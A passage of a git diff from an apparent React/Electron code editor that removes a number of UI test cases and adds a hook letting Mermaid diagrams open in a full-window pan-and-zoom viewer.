reparsing. - const sanitized = 'User A' - render() - act(() => useAppStore.getState().openModal('diagram-viewer', { svg: sanitized })) - sizeCanvas() - - expect(screen.getByRole('img', { name: 'Diagram' }).style.width).toBe('400px') - const blob = vi.mocked(URL.createObjectURL).mock.calls[0][0] - const xml = blob instanceof Blob ? await blob.text() : '' - expect(xml).toContain('xmlns="http://www.w3.org/2000/svg"') - }) - it('pans by the wheel distance whatever unit the device reports', async () => { const user = userEvent.setup() render() diff --git a/src/renderer/src/components/editor/EditorContent.test.tsx b/src/renderer/src/components/editor/EditorContent.test.tsx index 1d6fb7442a8..e502e18d6d0 100644 --- a/src/renderer/src/components/editor/EditorContent.test.tsx +++ b/src/renderer/src/components/editor/EditorContent.test.tsx @@ -1,26 +1,11 @@ -import { renderToStaticMarkup } from 'react-dom/server' import { afterEach, describe, expect, it, vi } from 'vitest' -import type { OpenFile } from '@/store/slices/editor' // Stub lazy renderers because renderToStaticMarkup cannot resolve them; retain the banner branch structure. vi.mock('@/lib/lazy-with-retry', () => ({ lazyWithRetry: () => () => null })) -import { EditorContent, getMarkdownSourceLineOffset } from './EditorContent' - -function createOpenFile(overrides: Partial = {}): OpenFile { - return { - id: '/repo/notebook.ipynb', - filePath: '/repo/notebook.ipynb', - relativePath: 'notebook.ipynb', - worktreeId: 'repo::/repo', - language: 'notebook', - isDirty: false, - mode: 'edit', - ...overrides - } -} +import { getMarkdownSourceLineOffset } from './EditorContent' afterEach(() => { vi.restoreAllMocks() @@ -33,188 +18,4 @@ describe('EditorContent', () => { expect(getMarkdownSourceLineOffset('---\r\ntitle: x\r\n---\r\n')).toBe(3) expect(getMarkdownSourceLineOffset('---\rtitle: x\n---\r\n')).toBe(3) }) - - it('counts newline-heavy front matter offsets without regex match', () => { - const matchSpy = vi.spyOn(String.prototype, 'match') - const frontMatterRaw = `---\n${'title: x\n'.repeat(12_000)}---\n` - - expect(getMarkdownSourceLineOffset(frontMatterRaw)).toBe(12_002) - expect(matchSpy).not.toHaveBeenCalled() - }) - - it('surfaces file load errors before notebook content is parsed', () => { - const activeFile = createOpenFile() - const html = renderToStaticMarkup( - - ) - - expect(html).toContain('Unable to load file') - expect(html).toContain('Access denied') - expect(html).not.toContain('Unable to render notebook') - }) - - it('shows the changed-on-disk banner above a dirty edit tab', () => { - const activeFile = createOpenFile({ - id: '/repo/file.ts', - filePath: '/repo/file.ts', - relativePath: 'file.ts', - language: 'typescript', - isDirty: true, - externalMutation: 'changed' - }) - const html = renderToStaticMarkup( - - ) - - expect(html).toContain('role="alert"') - expect(html).toContain('changed on disk') - expect(html).toContain('Reload from Disk') - }) - - it('shows the changed-on-disk banner above a dirty unstaged diff without collapsing it', () => { - const activeFile = createOpenFile({ - id: 'diff:/repo/file.ts', - filePath: '/repo/file.ts', - relativePath: 'file.ts', - language: 'typescript', - mode: 'diff', - diffSource: 'unstaged', - isDirty: true, - externalMutation: 'changed' - }) - const html = renderToStaticMarkup( - - ) - - expect(html).toContain('role="alert"') - expect(html).toContain('changed on disk') - // A flex-1-only wrapper collapsed the diff to zero height. - expect(html).toContain('flex h-full min-h-0 flex-col') - }) - - it('shows the changed-on-disk banner on a dirty markdown diff in preview mode', () => { - const activeFile = createOpenFile({ - id: 'diff:/repo/notes.md', - filePath: '/repo/notes.md', - relativePath: 'notes.md', - language: 'markdown', - mode: 'diff', - diffSource: 'unstaged', - isDirty: true, - externalMutation: 'changed' - }) - const html = renderToStaticMarkup( - - ) - - expect(html).toContain('role="alert"') - expect(html).toContain('changed on disk') - expect(html).toContain('Previewing the modified version of this diff') - }) }) diff --git a/src/renderer/src/components/editor/IpynbRendering.test.tsx b/src/renderer/src/components/editor/IpynbRendering.test.tsx index c7b1ba7aecf..4b34a0e070c 100644 --- a/src/renderer/src/components/editor/IpynbRendering.test.tsx +++ b/src/renderer/src/components/editor/IpynbRendering.test.tsx @@ -2,9 +2,8 @@ import { cleanup, fireEvent, render, screen } from '@testing-library/react' import { afterEach, describe, expect, it, vi } from 'vitest' import { IpynbCellOutputs } from './IpynbCellOutputs' -import { IpynbCellSource, IpynbMarkdownCell } from './IpynbCellEditor' -import { IpynbRunPrompt } from './IpynbCellToolbar' -import { TooltipProvider } from '@/components/ui/tooltip' +import { IpynbCellSource } from './IpynbCellEditor' + import type { IpynbCell, IpynbOutput } from './ipynb-parse' vi.mock('@/i18n/i18n', () => ({ @@ -39,12 +38,6 @@ function renderSource(target: IpynbCell, onActivate = vi.fn()) { afterEach(cleanup) describe('notebook cell source', () => { - it('renders markdown through the full preview pipeline (GFM + math)', () => { - render() - expect(document.querySelector('table')).not.toBeNull() - expect(document.querySelector('.katex')).not.toBeNull() - }) - it('shows markdown as a document and edits only on double-click or Enter', () => { const onActivate = renderSource(cell('markdown', '# Report')) const preview = screen.getByRole('button') @@ -77,27 +70,6 @@ describe('notebook code preview', () => { }) }) -describe('notebook run prompt', () => { - it('shows the count, then [*] with a disabled button while queued or running, then the duration', () => { - const { rerender } = render( - , - { wrapper: TooltipProvider } - ) - expect(screen.getByText('[3]')).toBeTruthy() - expect(screen.getByRole('button', { name: 'Run cell' }).hasAttribute('disabled')).toBe(false) - - for (const state of ['queued', 'running'] as const) { - rerender() - expect(screen.getByText('[*]')).toBeTruthy() - expect(screen.getByRole('button', { name: 'Run cell' }).hasAttribute('disabled')).toBe(true) - } - - rerender() - expect(screen.getByText('[4]')).toBeTruthy() - expect(screen.getByText('1.2s')).toBeTruthy() - }) -}) - describe('notebook outputs', () => { it('renders only the richest representation of a display bundle', () => { render( diff --git a/src/renderer/src/components/editor/MediaViewer.test.tsx b/src/renderer/src/components/editor/MediaViewer.test.tsx index b75868b2f96..cd130227265 100644 --- a/src/renderer/src/components/editor/MediaViewer.test.tsx +++ b/src/renderer/src/components/editor/MediaViewer.test.tsx @@ -71,20 +71,6 @@ describe('MediaViewer', () => { expect(video?.getAttribute('src')).toBeNull() }) - it('resumes from the last playback position after the tab remounts', async () => { - vi.spyOn(HTMLMediaElement.prototype, 'pause').mockImplementation(() => {}) - vi.spyOn(HTMLMediaElement.prototype, 'load').mockImplementation(() => {}) - const first = await renderPlaybackViewer('clip.mp4:pdf') - first.video.currentTime = 42 - await act(async () => first.root.unmount()) - - const second = await renderPlaybackViewer('clip.mp4:pdf') - second.video.currentTime = 0 - await act(async () => second.video.dispatchEvent(new Event('loadedmetadata'))) - expect(second.video.currentTime).toBe(42) - await act(async () => second.root.unmount()) - }) - it('retains the position when leaving before metadata and clamps it when the file shrinks', async () => { vi.spyOn(HTMLMediaElement.prototype, 'pause').mockImplementation(() => {}) vi.spyOn(HTMLMediaElement.prototype, 'load').mockImplementation(() => {}) @@ -131,29 +117,6 @@ describe('MediaViewer', () => { await act(async () => otherRestored.root.unmount()) }) - it('shows a persistent playback error and only offers the default app for local files', async () => { - vi.spyOn(HTMLMediaElement.prototype, 'pause').mockImplementation(() => {}) - vi.spyOn(HTMLMediaElement.prototype, 'load').mockImplementation(() => {}) - const container = document.createElement('div') - const root = createRoot(container) - await act(async () => - root.render( - - ) - ) - await act(async () => container.querySelector('video')?.dispatchEvent(new Event('error'))) - expect(container.querySelector('[role="alert"]')?.textContent).toContain( - 'Unable to play this media file' - ) - expect(container.querySelector('button')).toBeNull() - await act(async () => root.unmount()) - }) - it('uses native audio controls and releases the audio source when switching files', async () => { const pause = vi.spyOn(HTMLMediaElement.prototype, 'pause').mockImplementation(() => {}) const load = vi.spyOn(HTMLMediaElement.prototype, 'load').mockImplementation(() => {}) diff --git a/src/renderer/src/components/editor/MermaidViewer.tsx b/src/renderer/src/components/editor/MermaidViewer.tsx index 63bff534f0b..0a148e70021 100644 --- a/src/renderer/src/components/editor/MermaidViewer.tsx +++ b/src/renderer/src/components/editor/MermaidViewer.tsx @@ -1,6 +1,7 @@ import React, { useCallback, useLayoutEffect, useRef } from 'react' import { scrollTopCache, setWithLRU } from '@/lib/scroll-cache' import MermaidBlock from './MermaidBlock' +import { useMermaidDiagramExpand } from './use-mermaid-diagram-expand' import { useDocumentDarkTheme } from '@/hooks/use-document-dark-theme' type MermaidViewerProps = { @@ -18,6 +19,7 @@ export default function MermaidViewer({ const renderCompleteRef = useRef(false) const restoreObserverRef = useRef(null) const isDark = useDocumentDarkTheme() + const expandDiagram = useMermaidDiagramExpand() const diagramSource = content.trim() const cancelPendingScroll = useCallback(() => { @@ -109,6 +111,7 @@ export default function MermaidViewer({ isDark={isDark} htmlLabels={false} onRenderComplete={onRenderComplete} + onExpand={expandDiagram} /> diff --git a/src/renderer/src/components/editor/PluginBytesCustomEditorSurface.test.tsx b/src/renderer/src/components/editor/PluginBytesCustomEditorSurface.test.tsx index 5a0873ab9a5..682b556fe00 100644 --- a/src/renderer/src/components/editor/PluginBytesCustomEditorSurface.test.tsx +++ b/src/renderer/src/components/editor/PluginBytesCustomEditorSurface.test.tsx @@ -120,15 +120,6 @@ describe('PluginBytesCustomEditorSurface', () => { await act(() => vi.waitFor(() => expect(lastDocument()).toEqual({ bytes, fileType: 'xlsx' }))) }) - it('names the file, its size and the limit when it is too large to open', async () => { - readRuntimeFileBytes.mockResolvedValue({ kind: 'too_large', size: 80 * 1024 * 1024 }) - await render({ content: '', isBinary: true, byteSource }) - expect(container.textContent).toContain( - 'book.xlsx is too large to open in Spreadsheet (80.0 MB; the limit is 64.0 MB).' - ) - expect(container.querySelector('[data-testid="frame"]')).toBeNull() - }) - it('reloads after an outside change but not while the old content is only marked stale', async () => { readRuntimeFileBytes.mockResolvedValue({ kind: 'ok', bytes: new Uint8Array([1]) }) const first: FileContent = { content: '', isBinary: true, byteSource } diff --git a/src/renderer/src/components/editor/PluginCustomEditorFrame.test.tsx b/src/renderer/src/components/editor/PluginCustomEditorFrame.test.tsx index 3a9f93278a7..66cd5f98c01 100644 --- a/src/renderer/src/components/editor/PluginCustomEditorFrame.test.tsx +++ b/src/renderer/src/components/editor/PluginCustomEditorFrame.test.tsx @@ -113,21 +113,6 @@ async function renderFrame(props: { } describe('PluginCustomEditorFrame', () => { - it('renders the editor in a scripts-only sandbox inside the CSP shell', async () => { - const { iframe } = await renderFrame({ content: '{}' }) - expect(readCustomEditorEntry).toHaveBeenCalledWith({ - pluginKey: 'stablyai.excalidraw', - editorId: 'excalidraw' - }) - // allow-same-origin would expose app DOM, storage and IPC to the plugin. - expect(iframe.getAttribute('sandbox')).toBe('allow-scripts') - expect(iframe.getAttribute('name')?.startsWith('orca-plugin-panel:editor:')).toBe(true) - // window.name is readable in the frame, so it must not name the file. - expect(iframe.getAttribute('name')).not.toContain('diagram') - expect(iframe.getAttribute('name')).not.toContain('/repo') - expect(iframe.getAttribute('srcdoc')).toContain('
editor
') - }) - it('sends the buffer on ready and applies edits without saving', async () => { const { posted, fromFrame, onContentChange, onSave } = await renderFrame({ content: 'scene' }) await fromFrame(READY) diff --git a/src/renderer/src/components/editor/RichMarkdownCodeBlock.tsx b/src/renderer/src/components/editor/RichMarkdownCodeBlock.tsx index a45f7028819..0438d31c7ee 100644 --- a/src/renderer/src/components/editor/RichMarkdownCodeBlock.tsx +++ b/src/renderer/src/components/editor/RichMarkdownCodeBlock.tsx @@ -5,6 +5,7 @@ import { NodeViewContent, NodeViewWrapper } from '@tiptap/react' import type { NodeViewProps } from '@tiptap/react' import { Copy, Check } from 'lucide-react' import MermaidBlock from './MermaidBlock' +import { useMermaidDiagramExpand } from './use-mermaid-diagram-expand' import { useDocumentDarkTheme } from '@/hooks/use-document-dark-theme' import { translate } from '@/i18n/i18n' import { @@ -26,6 +27,7 @@ export function RichMarkdownCodeBlock({ // Clipboard IPC may settle after unmount; do not start an orphan reset timer. const isMountedRef = useRef(false) const isDark = useDocumentDarkTheme() + const expandMermaidDiagram = useMermaidDiagramExpand() const isMermaid = language === 'mermaid' @@ -139,7 +141,12 @@ export function RichMarkdownCodeBlock({ {/* Keep Mermaid source editable; native SVG labels survive the preview’s sanitization. */} {isMermaid && node.textContent.trim() && (
- +
)} diff --git a/src/renderer/src/components/editor/RichMarkdownErrorBoundary.lazy-chunk.test.tsx b/src/renderer/src/components/editor/RichMarkdownErrorBoundary.lazy-chunk.test.tsx index a9ac63ac6b0..64fe89ad99e 100644 --- a/src/renderer/src/components/editor/RichMarkdownErrorBoundary.lazy-chunk.test.tsx +++ b/src/renderer/src/components/editor/RichMarkdownErrorBoundary.lazy-chunk.test.tsx @@ -107,61 +107,6 @@ describe('RichMarkdownErrorBoundary lazy chunk containment', () => { }) }) - it('records the degraded breadcrumb once across repeated Retry clicks', async () => { - window.sessionStorage.setItem(RELOAD_GUARD_KEY, LANDED_RELOAD_GUARD_VALUE) - const LazyRejectingImport = lazyWithRetry( - () => Promise.reject(new SyntaxError(CORRUPT_CHUNK_PARSE_ERROR)), - { retries: 0 } - ) - ;({ container, root } = createContainer()) - - await act(async () => { - root?.render( - - - - ) - }) - await flushReactWork() - await flushReactWork() - - for (let click = 0; click < 3; click += 1) { - const retry = container?.querySelector('button') - expect(retry).not.toBeNull() - await act(async () => { - retry?.click() - }) - await flushReactWork() - } - - expect(container?.textContent).toContain('rich markdown editor') - expect(recordBreadcrumbMock).toHaveBeenCalledTimes(1) - }) - - it('records the degraded breadcrumb once across boundary remounts', async () => { - window.sessionStorage.setItem(RELOAD_GUARD_KEY, LANDED_RELOAD_GUARD_VALUE) - const LazyRejectingImport = lazyWithRetry( - () => Promise.reject(new SyntaxError("Unexpected token '<'")), - { retries: 0 } - ) - ;({ container, root } = createContainer()) - - for (const boundaryKey of ['pane-a', 'pane-b', 'pane-c']) { - await act(async () => { - root?.render( - - - - ) - }) - await flushReactWork() - await flushReactWork() - } - - expect(container?.textContent).toContain('rich markdown editor') - expect(recordBreadcrumbMock).toHaveBeenCalledTimes(1) - }) - it('still reports ordinary render errors', async () => { const error = new Error('ordinary render failure') function BrokenEditor(): ReactElement { diff --git a/src/renderer/src/components/editor/check-run-details-fix-with-ai.test.ts b/src/renderer/src/components/editor/check-run-details-fix-with-ai.test.ts index 01c63aa6c52..f9fff1d0421 100644 --- a/src/renderer/src/components/editor/check-run-details-fix-with-ai.test.ts +++ b/src/renderer/src/components/editor/check-run-details-fix-with-ai.test.ts @@ -11,7 +11,6 @@ import type { PRInfo } from '../../../../shared/github/pull-request-types' import type { Repo } from '../../../../shared/repo-types' import type { Worktree } from '../../../../shared/worktree/types' import { - getCheckRunDetailsFixDisabledReason, isCheckRunDetailsFixCandidate, resolveCheckRunDetailsFixCheck, resolveHostedReviewForCheckRunDetailsFix, @@ -183,16 +182,6 @@ describe('check-run-details-fix-with-ai', () => { expect(runtimeCall).not.toHaveBeenCalled() }) - it('detects failing checks as fix candidates', () => { - expect(isCheckRunDetailsFixCandidate(fixtures.failingCheck)).toBe(true) - expect( - isCheckRunDetailsFixCandidate({ - ...fixtures.failingCheck, - conclusion: 'success' - }) - ).toBe(false) - }) - it('prefers loaded details conclusion over the list-level check', () => { const listFailure = fixtures.failingCheck const passingDetails: PRCheckRunDetails = { @@ -215,14 +204,6 @@ describe('check-run-details-fix-with-ai', () => { ).toBe(true) }) - it('resolves hosted review metadata from the worktree PR cache', () => { - expect(resolveHostedReviewForCheckRunDetailsFix(fixtures.worktree.id)).toMatchObject({ - number: 42, - title: 'Fix CI', - url: 'https://github.com/acme/widgets/pull/42' - }) - }) - it('does not resolve a matching suppressed GitHub PR', () => { storeState.worktreesByRepo = { 'repo-1': [ @@ -237,11 +218,6 @@ describe('check-run-details-fix-with-ai', () => { expect(resolveHostedReviewForCheckRunDetailsFix(fixtures.worktree.id)).toBeNull() }) - it('requires a hosted review before launching an AI fix', () => { - storeState.prCache = {} - expect(getCheckRunDetailsFixDisabledReason(fixtures.worktree.id)).toContain('PR or MR') - }) - it('starts a single-check AI fix prompt for the owning worktree', async () => { await startCheckRunDetailsFixWithAI({ worktreeId: fixtures.worktree.id, diff --git a/src/renderer/src/components/editor/combined-diff/browse-files/combined-diff-file-tree-row.tsx b/src/renderer/src/components/editor/combined-diff/browse-files/combined-diff-file-tree-row.tsx index e05446b6179..11122e9ce93 100644 --- a/src/renderer/src/components/editor/combined-diff/browse-files/combined-diff-file-tree-row.tsx +++ b/src/renderer/src/components/editor/combined-diff/browse-files/combined-diff-file-tree-row.tsx @@ -1,8 +1,8 @@ import { createElement, memo } from 'react' -import { ChevronDown, Folder, FolderOpen } from 'lucide-react' +import { ChevronDown } from 'lucide-react' import { STATUS_COLORS, STATUS_LABELS } from '@/components/right-sidebar/status-display' import type { SourceControlTreeNode } from '../../../../../../shared/source-control-tree' -import { FileTypeIcon } from '@/components/FileTypeIcon' +import { FileTypeIcon, FolderIcon } from '@/components/FileTypeIcon' import { basename, dirname, joinPath } from '@/lib/path' import { cn } from '@/lib/utils' import { WORKSPACE_FILE_PATH_MIME } from '@/lib/workspace-file-drag' @@ -79,11 +79,7 @@ export const CombinedDiffFileTreeRow = memo(function CombinedDiffFileTreeRow({ - {isCollapsed ? ( - - ) : ( - - )} + {node.name} diff --git a/src/renderer/src/components/editor/rich-markdown-cut.test.ts b/src/renderer/src/components/editor/rich-markdown-cut.test.ts index e99f8e6c95c..dc0db06aab0 100644 --- a/src/renderer/src/components/editor/rich-markdown-cut.test.ts +++ b/src/renderer/src/components/editor/rich-markdown-cut.test.ts @@ -75,20 +75,6 @@ function createClipboardEventMock(options?: { failReadback?: boolean }): { } describe('rich markdown cut handler behavior', () => { - it('hard-wrapped document prose stays one paragraph after normalization', () => { - const editor = createEditor('Line one\nLine two\nLine three\n') - - expect(countParagraphs(editor)).toBe(1) - expect(editor.state.doc.firstChild!.textContent).toContain('\n') - - normalizeEmptyListItems(editor) - - expect(countParagraphs(editor)).toBe(1) - expect(editor.state.doc.firstChild!.textContent).toBe('Line one\nLine two\nLine three') - - editor.destroy() - }) - it('soft-break normalization still creates visible paragraph breaks', () => { const editor = createEditor('Line one\nLine two\nLine three\n') normalizeSoftBreaks(editor) @@ -201,28 +187,4 @@ describe('rich markdown cut handler behavior', () => { editor.destroy() } }) - - it('normalizeEmptyListItems is idempotent on already-clean documents', () => { - const editor = createEditor('First.\n\nSecond.\n\nThird.\n') - - const docBefore = editor.state.doc.toJSON() - normalizeEmptyListItems(editor) - const docAfter = editor.state.doc.toJSON() - - expect(docAfter).toEqual(docBefore) - - editor.destroy() - }) - - it('normalizeEmptyListItems does not modify populated list items or blockquotes', () => { - const editor = createEditor('- Item 1\n- Item 2\n') - - const docBefore = editor.state.doc.toJSON() - normalizeEmptyListItems(editor) - const docAfter = editor.state.doc.toJSON() - - expect(docAfter).toEqual(docBefore) - - editor.destroy() - }) }) diff --git a/src/renderer/src/components/editor/use-markdown-preview-components.tsx b/src/renderer/src/components/editor/use-markdown-preview-components.tsx index bbb4a9f09ee..ffe47209c6c 100644 --- a/src/renderer/src/components/editor/use-markdown-preview-components.tsx +++ b/src/renderer/src/components/editor/use-markdown-preview-components.tsx @@ -3,6 +3,7 @@ import type { Components } from 'react-markdown' import type { MarkdownDocument } from '../../../../shared/filesystem-entry-types' import CodeBlockCopyButton from './CodeBlockCopyButton' import MermaidBlock from './MermaidBlock' +import { useMermaidDiagramExpand } from './use-mermaid-diagram-expand' import { getMarkdownDocLinkAnchor, parseMarkdownDocLinkHref, @@ -63,6 +64,7 @@ export function useMarkdownPreviewComponents({ const { scrollToAnchor } = viewport const { getMarkdownCommentsForRange, handleAnnotatedMarkdownBlockClick } = reviewActions const { renderAnnotationControls, wrapAnnotatedBlock } = annotationRenderers + const expandMermaidDiagram = useMermaidDiagramExpand() return useMemo(() => { // Why: preview images come from document text, so main limits them to the document's roots. @@ -170,7 +172,12 @@ export function useMarkdownPreviewComponents({ code: ({ className, children, ...props }) => { if (/language-mermaid/.test(className || '')) { return ( - + ) } return ( @@ -294,6 +301,7 @@ export function useMarkdownPreviewComponents({ }, [ filePath, activateMarkdownLink, + expandMermaidDiagram, isDark, isMac, imageRuntimeContext, diff --git a/src/renderer/src/components/editor/use-mermaid-diagram-expand.ts b/src/renderer/src/components/editor/use-mermaid-diagram-expand.ts new file mode 100644 index 00000000000..42ad9483eb3 --- /dev/null +++ b/src/renderer/src/components/editor/use-mermaid-diagram-expand.ts @@ -0,0 +1,12 @@ +import { useCallback } from 'react' +import { useAppStore } from '@/store' +import type { RenderedMermaidDiagram } from './MermaidBlock' + +/** Opens a rendered diagram in the full-window pan and zoom viewer. */ +export function useMermaidDiagramExpand(): (diagram: RenderedMermaidDiagram) => void { + const openModal = useAppStore((s) => s.openModal) + return useCallback( + (diagram: RenderedMermaidDiagram) => openModal('diagram-viewer', diagram), + [openModal] + ) +} diff --git a/src/renderer/src/components/emulator-pane/emulator-keyboard-paste.test.ts b/src/renderer/src/components/emulator-pane/emulator-keyboard-paste.test.ts index 0d2a3834d6b..a92d484241e 100644 --- a/src/renderer/src/components/emulator-pane/emulator-keyboard-paste.test.ts +++ b/src/renderer/src/components/emulator-pane/emulator-keyboard-paste.test.ts @@ -4,7 +4,6 @@ import { describe, expect, it, vi } from 'vitest' import { buildEmulatorKeyboardPastePlan, EMULATOR_KEYBOARD_PASTE_MAX_BYTES, - iterateEmulatorKeyboardPasteChunks, pasteTextIntoEmulatorKeyboard } from './emulator-keyboard-paste' @@ -20,26 +19,6 @@ describe('emulator keyboard paste', () => { expect(plan.chunks.every((chunk) => chunk.length <= 4)).toBe(true) }) - it('keeps planned chunks aligned with lazy keyboard-frame chunks', () => { - const plan = buildEmulatorKeyboardPastePlan('ab\r\nc', { maxFramesPerChunk: 4 }) - - expect(plan.status).toBe('accepted') - if (plan.status !== 'accepted') { - return - } - expect(plan.chunks).toEqual([...iterateEmulatorKeyboardPasteChunks('ab\r\nc', 4)]) - }) - - it('rejects oversized text before building keyboard frames', () => { - const plan = buildEmulatorKeyboardPastePlan('a'.repeat(EMULATOR_KEYBOARD_PASTE_MAX_BYTES + 1)) - - expect(plan).toEqual({ - byteLength: EMULATOR_KEYBOARD_PASTE_MAX_BYTES + 1, - reason: 'too-large', - status: 'rejected' - }) - }) - it('rejects oversized text before validating later unsupported characters', () => { const oversizedText = 'a'.repeat(EMULATOR_KEYBOARD_PASTE_MAX_BYTES + 1) const plan = buildEmulatorKeyboardPastePlan(`${oversizedText}🙂`) diff --git a/src/renderer/src/components/emulator-pane/emulator-screen-stream-content.test.tsx b/src/renderer/src/components/emulator-pane/emulator-screen-stream-content.test.tsx index af19c21e41e..fb8e2c69e6a 100644 --- a/src/renderer/src/components/emulator-pane/emulator-screen-stream-content.test.tsx +++ b/src/renderer/src/components/emulator-pane/emulator-screen-stream-content.test.tsx @@ -131,22 +131,6 @@ describe('EmulatorScreenStreamContent', () => { expect(img?.className).not.toContain('object-fill') }) - it('rotates mismatched stream media without stretching it', async () => { - await renderStream('abc', { screenAspectRatio: 844 / 390, streamRotation: 90 }) - - await act(async () => { - frameListeners[0]?.({ streamId: 'stream-1', bytes: new Uint8Array([1, 2, 3]).buffer }) - }) - - const img = container.querySelector('img') - expect(img?.className).toContain('object-contain') - expect(img?.className).toContain('absolute') - expect(img?.className).not.toContain('object-fill') - expect(img?.style.transform).toBe('translate(-50%, -50%) rotate(90deg)') - expect(img?.style.width).toBe(`${100 / (844 / 390)}%`) - expect(img?.style.height).toBe(`${100 * (844 / 390)}%`) - }) - it('clears the previous frame while a new stream key is connecting', async () => { await renderStream('a') diff --git a/src/renderer/src/components/feature-wall/ConnectIntegrationsList.test.tsx b/src/renderer/src/components/feature-wall/ConnectIntegrationsList.test.tsx deleted file mode 100644 index a5ad59f2e20..00000000000 --- a/src/renderer/src/components/feature-wall/ConnectIntegrationsList.test.tsx +++ /dev/null @@ -1,222 +0,0 @@ -import { renderToStaticMarkup } from 'react-dom/server' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { PreflightStatus } from '../../../../preload/api-types' -import { getProviderRuntimeContextKey } from '@/lib/provider-runtime-context' -import { ConnectIntegrationsList } from './ConnectIntegrationsList' - -type StoreState = { - activeRepoId: string | null - activeWorktreeId: string | null - worktreesByRepo: Record - repos: unknown[] - settings: { activeRuntimeEnvironmentId?: string | null } - preflightStatus: PreflightStatus | null - preflightStatusChecked: boolean - preflightStatusContextKey: string - preflightStatusError: string | null - preflightStatusLoading: boolean - refreshPreflightStatus: () => Promise - linearStatus: { connected: boolean; workspaces?: unknown[] } - linearStatusChecked: boolean - linearStatusContextKey: string | null - checkLinearConnection: () => Promise - testLinearConnection: () => Promise<{ ok: boolean; error?: string }> - disconnectLinear: () => Promise - disconnectLinearWorkspace: () => Promise - jiraStatus: { connected: boolean; sites?: unknown[] } - jiraStatusChecked: boolean - jiraStatusContextKey: string | null - checkJiraConnection: () => Promise - testJiraConnection: () => Promise<{ ok: boolean; error?: string }> - disconnectJira: () => Promise -} - -const { storeState } = vi.hoisted(() => ({ - storeState: { current: null as StoreState | null } -})) - -vi.mock('@/store', () => ({ - useAppStore: Object.assign( - (selector: (state: StoreState) => unknown) => { - if (!storeState.current) { - throw new Error('Store state was not installed') - } - return selector(storeState.current) - }, - { getState: () => storeState.current } - ) -})) - -vi.mock('@/components/linear-api-key-dialog', () => ({ - LinearApiKeyDialog: () => null -})) - -vi.mock('@/components/jira-connect-dialog', () => ({ - JiraConnectDialog: () => null -})) - -function makePreflightStatus(overrides: Partial = {}): PreflightStatus { - const status: PreflightStatus = { - git: { installed: true }, - gh: { installed: true, authenticated: false }, - glab: { installed: true, authenticated: false }, - bitbucket: { - configured: false, - authenticated: false, - account: null - }, - azureDevOps: { - configured: false, - authenticated: false, - account: null, - baseUrl: null, - tokenConfigured: false - }, - gitea: { - configured: false, - authenticated: false, - account: null, - baseUrl: null, - tokenConfigured: false - } - } - return { ...status, ...overrides } -} - -function installStore(preflightStatus: PreflightStatus): void { - const settings = { activeRuntimeEnvironmentId: null } - const providerContextKey = getProviderRuntimeContextKey(settings) - storeState.current = { - activeRepoId: null, - activeWorktreeId: null, - worktreesByRepo: {}, - repos: [], - settings, - preflightStatus, - preflightStatusChecked: true, - preflightStatusContextKey: 'host', - preflightStatusError: null, - preflightStatusLoading: false, - refreshPreflightStatus: vi.fn(async () => {}), - linearStatus: { connected: false, workspaces: [] }, - linearStatusChecked: true, - linearStatusContextKey: providerContextKey, - checkLinearConnection: vi.fn(async () => {}), - testLinearConnection: vi.fn(async () => ({ ok: true })), - disconnectLinear: vi.fn(async () => {}), - disconnectLinearWorkspace: vi.fn(async () => {}), - jiraStatus: { connected: false, sites: [] }, - jiraStatusChecked: true, - jiraStatusContextKey: providerContextKey, - checkJiraConnection: vi.fn(async () => {}), - testJiraConnection: vi.fn(async () => ({ ok: true })), - disconnectJira: vi.fn(async () => {}) - } -} - -async function renderConnectIntegrationsList(): Promise<{ - markup: string -}> { - return { markup: renderToStaticMarkup() } -} - -describe('ConnectIntegrationsList', () => { - beforeEach(() => { - vi.stubGlobal('window', { - api: { - shell: { - openUrl: vi.fn() - } - } - }) - }) - - afterEach(() => { - storeState.current = null - vi.unstubAllGlobals() - vi.restoreAllMocks() - }) - - it('renders the settings review cards in the review step without an inline auth terminal', async () => { - installStore(makePreflightStatus()) - - const { markup } = await renderConnectIntegrationsList() - - for (const provider of ['GitHub', 'GitLab', 'Bitbucket', 'Azure DevOps', 'Gitea']) { - expect(markup).toContain(provider) - } - expect(markup).toContain('gh auth login') - expect(markup).toContain('glab auth login') - expect(markup).not.toContain('Run in terminal') - }) - - it('keeps the upcoming task step collapsed but openable, not inert', async () => { - installStore(makePreflightStatus()) - - const { markup } = await renderConnectIntegrationsList() - - // Review is optional ordering: tracker-first users can expand the task step. - expect(markup).toContain('Open') - expect(markup).not.toContain('opacity-55') - expect(markup).not.toContain('Add Linear access') - }) - - it('collapses the task step to its summary when a tracker connects first', async () => { - installStore(makePreflightStatus()) - if (!storeState.current) { - throw new Error('Store state was not installed') - } - storeState.current.linearStatus = { connected: true, workspaces: [] } - - const { markup } = await renderConnectIntegrationsList() - - expect(markup).toContain('connected for tasks') - expect(markup).not.toContain('Connect Jira') - }) - - it('auto-resolves the task step from a connected code host but keeps it open for trackers', async () => { - installStore(makePreflightStatus({ gh: { installed: true, authenticated: true } })) - - const { markup } = await renderConnectIntegrationsList() - - expect(markup).toContain('GitHub') - expect(markup).toContain('issues available as tasks') - expect(markup).toContain('add Linear or Jira if your team plans work there') - expect(markup).not.toContain('Use GitHub issues') - // Keep dedicated trackers discoverable even when code-host issues already satisfy tasks. - expect(markup).toContain('Add Linear access') - expect(markup).toContain('Connect Jira') - }) - - it('offers GitHub and GitLab as task sources when review came from a non-task provider', async () => { - installStore( - makePreflightStatus({ - bitbucket: { configured: true, authenticated: true, account: 'acme' } - }) - ) - - const { markup } = await renderConnectIntegrationsList() - - expect(markup).toContain('issues also work as tasks.') - expect(markup).toContain('gh auth login') - expect(markup).toContain('glab auth login') - expect(markup).toContain('Linear') - expect(markup).toContain('Jira') - }) - - it('lists the code host alongside a connected tracker in the task summary', async () => { - installStore(makePreflightStatus({ gh: { installed: true, authenticated: true } })) - if (!storeState.current) { - throw new Error('Store state was not installed') - } - storeState.current.linearStatus = { connected: true, workspaces: [] } - - const { markup } = await renderConnectIntegrationsList() - - expect(markup).toContain('Linear') - expect(markup).toContain('GitHub') - expect(markup).toContain('connected for tasks') - expect(markup).toContain(' and ') - expect(markup).not.toContain('Connect Jira') - }) -}) diff --git a/src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx b/src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx index 2a1ae6d10a8..44190a42ca6 100644 --- a/src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx +++ b/src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx @@ -4,16 +4,11 @@ import { act } from 'react' import { 